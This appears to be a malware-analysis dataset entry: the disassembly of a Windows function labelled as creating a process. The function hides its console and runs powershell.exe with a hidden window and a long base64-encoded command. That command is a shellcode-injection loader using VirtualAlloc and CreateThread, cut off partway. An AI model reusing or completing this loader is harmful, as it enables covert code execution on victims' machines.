Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JABPAGEAQwBGACAAPQAgACcAJAB1AGUAaQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJAB1AGUAaQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkAGIALAAwAHgAYwBiACwAMAB4AGIAZAAsADAAeABhAGMALAAwAHgAYQA0ACwAMAB4ADkAZgAsADAAeABkAGQALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAYgAsADAAeAAzADEALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA2ADIALAAwAHgAOAAzACwAMAB4AGUAYgAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADYAYgAsADAAeAAxADYALAAwAHgAMAAzACwAMAB4ADYAYgAsADAAeAAxADYALAAwAHgAZQAyACwAMAB4ADUAOQAsADAAeAA1ADgALAAwAHgANwA3ACwAMAB4ADUAMgAsADAAeABhADEALAAwAHgAYQAxACwAMAB4ADgAOAAsADAAeAAwAGQALAAwAHgAMgA4ACwAMAB4ADQANAAsADAAeABiADkALAAwAHgAMQBmACwAMAB4ADQAZQAsADAAeAAwAGMALAAwAHgAZQA4ACwAMAB4AGEAZgAsADAAeAAwADUALAAwAHgANAAwACwAMAB4ADAAMQAsADAAeAA1AGIALAAwAHgANABiACwAMAB4ADcAMQAsADAAeAAxADYALAAwAHgAZQBjACwAMAB4ADIAMQAsADAAeAA1AGYALAAwAHgAYQAzACwAMAB4ADYAMAAsADAAeAA5AGQALAAwAHgAYQBlACwAMAB4ADQAYwAsADAAeABiADUALAAwAHgAMQBkACwAMAB4ADcAYwAsADAAeAA4AGUALAAwAHgAZAA3ACwAMAB4AGUAMQAsADAAeAA3AGYALAAwAHgAYwAzACwAMAB4ADMANwAsADAAeABkADgALAAwAHgANABmACwAMAB4ADEANgAsADAAeAAzADkALAAwAHgAMQBkACwAMAB4ADAANgAsADAAeAA1AGMALAAwAHgAZAA2ACwAMAB4AGYAMwAsADAAeAAxADIALAAwAHgAYwBjACwAMAB4ADMAOAAsADAAeAA3ADgALAAwAHgANgA2ACwAMAB4AGMAZAAsADAAeAAzADkALAAwAHgAYQBlACwAMAB4ADMAMAAsADAAeABhADYALAAwAHgANwBhACwAMAB4ADMANgAsADAAeAAzAGEALAAwAHgANwA4ACwAMAB4ADAAZQAsADAAeAA4AGEALAAwAHgANAA1ACwAMAB4AGEAOQAsADAAeABiAGYALAAwAHgAOQA5ACwAMAB4ADAAZQAsADAAeAA1ADEALAAwAHgAYwBiACwAMAB4AGMANQAsADAAeABhAGUALAAwAHgANgAwACwAMAB4ADEAOAAsADAAeAA3ADAALAAwAHgANgA3ACwAMAB4ADEANgAsADAAeABhADIALAAwAHgAMwAzACwAMAB4ADQAOQAsADAAeAAyADgALAAwAHgANQAxACwAMAB4AGYANwAsADAAeAAyADIALAAwAHgAZAA3ACwAMAB4AGIAMAAsADAAeABjADYALAAwAHgAZgA0ACwAMAB4ADcANAAsADAAeABmAGQALAAwAHgAZQA3ACwAMAB4AGYAOAAsADAAeAA4ADUALAAwAHgAMwA5ACwAMAB4AGMAZgAsADAAeABlADIALAAwAHgAZgAzACwAMAB4ADMAMQAsADAAeAAyAGMALAAwAHgAOQBlACwAMAB4ADAAMwAsADAAeAA4ADIALAAwAHgANABmACwAMAB4ADQANAAsADAAeAA4ADEALAAwAHgAMQA1ACwAMAB4AGYANwAsADAAeAAwAGYALAAwAHgAMwAxACwAMAB4AGYAMgAsADAAeAAwADYALAAwAHgAYwAzACwAMAB4AGEANAAsADAAeAA3ADEALAAwAHgAMAA0ACwAMAB4AGEAOAAsADAAeABhADMALAAwAHgAZABlACwAMAB4ADAAOAAsADAAeAAyAGYALAAwAHgANgA3ACwAMAB4ADUANQAsADAAeAAzADQALAAwAHgAYQA0ACwAMAB4ADgANgAsADAAeABiAGEALAAwAHgAYgBkACwAMAB4AGYAZQAsADAAeABhAGMALAAwAHgAMQBlACwAMAB4AGUANgAsADAAeABhADUALAAwAHgAYwBkACwAMAB4ADAANwAsADAAeAA0ADIALAAwAHgAMABiACwAMAB4AGYAMQAsADAAeAA1ADgALAAwAHgAMgBhACwAMAB4AGYANAAsADAAeAA1ADcALAAwAHgAMQAyACwAMAB4AGQAOAAsADAAeABlADMALAAwAHgAZQA4ACwAMAB4AGQAYgAsADAAeAAyADMALAAwAHgAMABjACwAMAB4AGIANQAsADAAeAA0AGIALAAwAHgAYgA1ACwAMAB4ADkANgAsADAAeAAzADIALAAwAHgAOABjACwAMAB4ADIAMQAsADAAeAAyAGUALAAwAHgAZAAyACwAMAB4AGUAMgAsADAAeABkADgALAAwAHgAOAA0ACwAMAB4ADQAYwAsADAAeABiADcALAAwAHgANgBkACwAMAB4ADAAMwAsAD
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop